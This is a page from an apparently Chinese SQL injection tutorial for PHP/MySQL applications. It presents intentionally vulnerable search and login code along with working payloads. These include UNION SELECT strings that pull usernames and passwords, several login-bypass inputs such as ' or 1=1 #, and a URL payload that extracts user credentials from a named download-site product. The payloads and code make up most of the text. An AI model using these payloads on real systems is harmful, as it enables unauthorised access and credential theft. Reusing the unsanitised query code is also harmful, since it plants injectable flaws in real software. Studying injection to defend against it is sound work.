|
3. 大家一起来看看搜索型注入吧 搜索型的语句一般这样写 <?php //search.php …… $query="select * from alphadb where title like '%$title%'; ………….. ?> 不知道大家还是否记得asp里的注入呢? 不过不记得也没有关系的啦,我们看吧。 我们构建注入语句吧 在输入框输入 a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# 放到sql语句中成了 select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %' 结果如图17哦 怎么样,出来了吧,哈哈,一切尽在掌握之中。 C:下面我们从注入地点上在来看一下各种注入攻击方式 1) 首先来看看后台登陆哦 代码先 <?php //login.php ……. $query="select * from alphaauthor where UserName='" .$HTTP_POST_VARS["UserName"]."' and Password='". $HTTP_POST_VARS["Password"]."'"; $result=mysql_query($query); $data=mysql_fetch_array($result); if ($data) { echo “后台登陆成功”; } esle { echo “重新登陆”; exit; }
……… ?> Username和password没有经过任何处理直接放到sql中执行了。 看看我们怎么绕过呢? 最经典的还是那个: 在用户名和密码框里都输入 ‘or’’=’ 带入sql语句中成了 select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’ 这样带入得到的$data肯定为真,也就是我们成功登陆了。 还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。 我们可以用下面的这些中方法哦 1. 用户名和密码都输入’or’a’=’a Sql成了 select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’ 2. 用户名和密码都输入’or 1=1 and ‘’=’ Sql成了 select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’ 用户名和密码都输入’or 2>1 and ‘’=’ Sql成了 select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’ 3. 用户名输入’or 1=1 # 密码随便输入 Sql成了 select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’ 后面部分被注释掉了,当然返回还是真哦。 4. 假设admin的id=1的话你也可以 用户名输入’or id=1 # 密码随便输入 Sql成了 select * from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’ 如图18 看看效果图19 怎么样?直接登陆了哦!
俗话说的好,只有想不到没有做不到。 还有更多的构造方法等着课后自己想啦。 2)第二个常用注入的地方应该算是前台资料显示的地方了。 上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。 只是举个例子回顾一下 碧海潮声下载站 - v2.0.3 lite有注入漏洞,代码就不再列出来了 直接看结果 http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users 如图20 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] 下一页 |